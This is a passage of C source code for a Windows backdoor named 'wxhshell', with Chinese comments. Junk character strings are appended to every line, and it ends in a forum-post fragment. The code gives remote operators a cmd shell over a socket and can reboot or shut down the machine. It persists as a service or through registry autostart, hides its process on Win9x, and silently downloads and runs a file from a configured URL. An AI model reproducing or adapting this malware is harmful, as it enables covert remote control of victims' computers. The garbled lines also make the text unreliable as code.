  case '?': { {UI+$/v#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hk3sI-XkA  
    break; Di6?[(8  
  } A:%`wX}  
  // 安装 &jJL"gq"  
  case 'i': { 4SxX3Fw  
    if(Install()) -=Q*Ml#I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ty?cC**  
    else _1\v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JGrWHIsNV  
    break; m=:9+z  
    } Dw.J2>uj  
  // 卸载 )qw&%sO +  
  case 'r': { EI%89i`3^  
    if(Uninstall()) ""G'rN_=Bi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oJz^|dW  
    else x|Bf-kc[#Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EW OVx*l  
    break; B~ GbF*j  
    } .|70;  
  // 显示 wxhshell 所在路径 I+!0O  
  case 'p': { A?P_DA  
    char svExeFile[MAX_PATH]; IOmfF[  
    strcpy(svExeFile,"\n\r"); ]w8(&,PP  
      strcat(svExeFile,ExeFile); uw_Y\F-$  
        send(wsh,svExeFile,strlen(svExeFile),0); \Gvm9M  
    break; .Yn_*L+4*  
    } }&J q}j  
  // 重启 'zTLl8P  
  case 'b': { *.t 7G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @qAS*3j  
    if(Boot(REBOOT)) @q7I4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( Erc3Ac8  
    else { Z@!+v 19^  
    closesocket(wsh); !_)[/q"  
    ExitThread(0); YNF k  
    } 7Ak6,BuI%  
    break; 5U$0F$BBp  
    } ]N?kG`[  
  // 关机 )3EY;  
  case 'd': { 0aB;p7~&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mCVFS=8V  
    if(Boot(SHUTDOWN)) /y}xX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q p3_f8  
    else { q@8*Xa>  
    closesocket(wsh); ^<2p~h0 \  
    ExitThread(0); lt8|9"9<  
    } b8 likP"T  
    break; %* }(}~  
    } Ad_h K O  
  // 获取shell }o`76rDN  
  case 's': { yY q,*<G  
    CmdShell(wsh); !+v$)3u9  
    closesocket(wsh); SwMc pNo  
    ExitThread(0); q(84+{>B  
    break; }pkzH'$HJ  
  } wf<M)Rs|  
  // 退出 KbeC"mi  
  case 'x': { H/M@t\$Dc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i9x+A/ o[  
    CloseIt(wsh); N(yz k_~  
    break; eJ-nKkg~a  
    } |yPu!pfl  
  // 离开 Cp0=k  
  case 'q': { a\*yZlXKs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }N52$L0[  
    closesocket(wsh); VI *$em O0  
    WSACleanup(); }O p; g^W  
    exit(1); X^jfuA  
    break; cw <l{A  
        } Jln:`!#fDf  
  } tQ#n${a@f  
  } U]rRQ d/:;  
'LDQgC*%  
  // 提示信息 4#Jg9o   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p5*EA x  
} 5)X=*I  
  } GTHt'[t@;  
~a2}(]  
  return; kyV8K#}%8  
} iWR)ke  
F8ulkcD  
// shell模块句柄 gjlx~.0d  
int CmdShell(SOCKET sock) xoME9u0x4  
{ ;n;p@Uu[ b  
STARTUPINFO si; 'Pbr v  
ZeroMemory(&si,sizeof(si)); 8eRLy/`gd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #<xm.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^<6[.)  
PROCESS_INFORMATION ProcessInfo; gRzxLf`K  
char cmdline[]="cmd"; VIbq:U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E{vbO/|kf  
  return 0; 3OB"#Ap8<  
} noj0F::m`j  
@2#lI  
// 自身启动模式 yf,z$CR  
int StartFromService(void) ^B^9KEjTz  
{ }6ldjCT/,  
typedef struct FP>2C9:d  
{ 5bb(/YtFy  
  DWORD ExitStatus; ia? c0xL  
  DWORD PebBaseAddress; yt2PU_),  
  DWORD AffinityMask; 4^d?D!j  
  DWORD BasePriority; W*Y/l~x}  
  ULONG UniqueProcessId; Ho]su?  
  ULONG InheritedFromUniqueProcessId; w!XD/j N  
}   PROCESS_BASIC_INFORMATION; \{YU wKK/A  
_e2=ado  
PROCNTQSIP NtQueryInformationProcess; G+m }MOQP7  
z(~_AN M4,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2&5K. Ui%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HbIF^LeY|R  
@}ZVtrz  
  HANDLE             hProcess; H;"4 C8K7  
  PROCESS_BASIC_INFORMATION pbi; ajpX L  
w2'5#`m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4&iCht =  
  if(NULL == hInst ) return 0; "wc<B4"  
ss-D(K"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yh=N@Z*zP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "Rl}VeDY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >-c8q]()ly  
F:ELPs4"  
  if (!NtQueryInformationProcess) return 0; T]$U""  
zW nR6*\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b`_Q8 J  
  if(!hProcess) return 0; FgO)DQm  
IGN1gs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $od7;%  
2T`!v  
  CloseHandle(hProcess); rM "l@3hP  
1:wQ.T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D`AsRd  
if(hProcess==NULL) return 0; H)&R=s  
:Q q#Z  
HMODULE hMod; A)KZa"EX  
char procName[255]; ctV,Q3'Z  
unsigned long cbNeeded; jFb?b6b  
(iGTACoF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dhv3jg;lq  
T 1t6p&  
  CloseHandle(hProcess); :H[6Lg\*  
.8|X   
if(strstr(procName,"services")) return 1; // 以服务启动 jqkqZF  
@|)Z"m7  
  return 0; // 注册表启动 zn(PI3+]!  
} )CyS#j#=  
Qci]i)s$js  
// 主模块 bjS {(  
int StartWxhshell(LPSTR lpCmdLine) Hr4}3.8  
{ L4f3X~8,b  
  SOCKET wsl; GH xp7H  
BOOL val=TRUE; |D.ND%K&  
  int port=0; WjjB<YKzF  
  struct sockaddr_in door; A(0lM`X  
4`R(?  
  if(wscfg.ws_autoins) Install(); %%wNZ{  
[S W_C  
port=atoi(lpCmdLine); \|ao`MMaD<  
bu"!jHPB  
if(port<=0) port=wscfg.ws_port; &VcV$8k  
 Mc}^LDX  
  WSADATA data; l lsfTrp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MJrR[h]  
.>nRzgo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sT' 5%4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VD\=`r)nT  
  door.sin_family = AF_INET; 4'Zp-k?5`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V470C@  
  door.sin_port = htons(port); e~':(/%|5;  
:,I:usW"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;({W#Wa  
closesocket(wsl); @ry_nKr9  
return 1; y^%y<~f  
} .6'qoo_N  
8&aq/4:q0  
  if(listen(wsl,2) == INVALID_SOCKET) { K96<M);:g  
closesocket(wsl); Ub!(H^zu  
return 1; L,@lp  
} >e"#'K0?\  
  Wxhshell(wsl); :08,JL{  
  WSACleanup(); XvlU*TO~(~  
I.k *GW  
return 0; uR r o?m<  
|H+Wed|  
} E+w<RNBmz  
N*&1GT#9  
// 以NT服务方式启动 Z/;aT -N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (*)hD(C5  
{ (=@h23 vH  
DWORD   status = 0; {jX2}  
  DWORD   specificError = 0xfffffff; Per1IcN  
>J>[& zS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %-0t?/>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )%@J=&G8TT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /RC7"QzL  
  serviceStatus.dwWin32ExitCode     = 0; >&5DsV.B  
  serviceStatus.dwServiceSpecificExitCode = 0; ]wG{!0pl  
  serviceStatus.dwCheckPoint       = 0; NPe%F+X  
  serviceStatus.dwWaitHint       = 0; 4Wm@W E  
Tyf`j,=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >s?S+W[L  
  if (hServiceStatusHandle==0) return; :zF,A,)  
2V;PYI  
status = GetLastError(); ';=O 0)u  
  if (status!=NO_ERROR) e;}7G  
{ KNIn:K^/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u^qT2Ss0  
    serviceStatus.dwCheckPoint       = 0; "5wa91*  
    serviceStatus.dwWaitHint       = 0; ^RtIh-Z.9  
    serviceStatus.dwWin32ExitCode     = status; <3C*Z"aQ>|  
    serviceStatus.dwServiceSpecificExitCode = specificError; cq/$N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tHwMX1 IG  
    return; 6MMOf\   
  } JHTSUq  
-0x #  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oHn Ky[1  
  serviceStatus.dwCheckPoint       = 0; #Kex vP&*  
  serviceStatus.dwWaitHint       = 0; aH/ k Ua  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'op|B@y  
} KEjWRwN  
^N{h3b8  
// 处理NT服务事件,比如:启动、停止 wHMX=N1/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GM f `A,>  
{ Doyx[zZ  
switch(fdwControl) ::{Q1F  
{ UIN<2F_  
case SERVICE_CONTROL_STOP: !/i{l  
  serviceStatus.dwWin32ExitCode = 0; N.{H,oO `  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e_ANUll1  
  serviceStatus.dwCheckPoint   = 0; EC!02S  
  serviceStatus.dwWaitHint     = 0; %^GfS@t  
  { SdxDa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kr:^tbJ  
  } EF}\brD1  
  return; J({Xg?  
case SERVICE_CONTROL_PAUSE: ;1O_M9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jrr*!^4|  
  break; 4`]^@"{  
case SERVICE_CONTROL_CONTINUE: D_^ nI:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &zeyE;/Hj  
  break; _w+:Dv~*a  
case SERVICE_CONTROL_INTERROGATE: })8N5C+KU  
  break; as4;:  
}; q{I%Q)t)gU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QIvVcfM^  
} -)]Yr #Q  
BsqP?/  
// 标准应用程序主函数 (X1e5j>Ru  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q#ClnG*  
{ u#;7<.D  
_j/<{vSy  
// 获取操作系统版本 #Z`q+@@ ]A  
OsIsNt=GetOsVer(); i6tf2oqO7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bp`]  
;F!5%}OcL%  
  // 从命令行安装 ZQoU3AD;  
  if(strpbrk(lpCmdLine,"iI")) Install(); wh\}d4gN  
YY((V@|K  
  // 下载执行文件 gG:Vt}N  
if(wscfg.ws_downexe) { UkT=W!cq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B^Nf #XN(  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~u!|qM  
} ?'Xj g#}<  
o"Euwh!!  
if(!OsIsNt) { 5uNJx5g  
// 如果时win9x,隐藏进程并且设置为注册表启动 *:YiimOY"  
HideProc(); KRLQ #,9  
StartWxhshell(lpCmdLine); (G u zN  
} pV +|o.<C  
else c74.< @w  
  if(StartFromService()) m )zUU  
  // 以服务方式启动 ICoHI  
  StartServiceCtrlDispatcher(DispatchTable); I^]2K0+x x  
else *_{j=sd  
  // 普通方式启动 |zNX=mAV  
  StartWxhshell(lpCmdLine); o\<ULW*  
%~JJ.&  
return 0; }DE g-j,F  
}
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只看该作者 1 发表于: 2006-10-10
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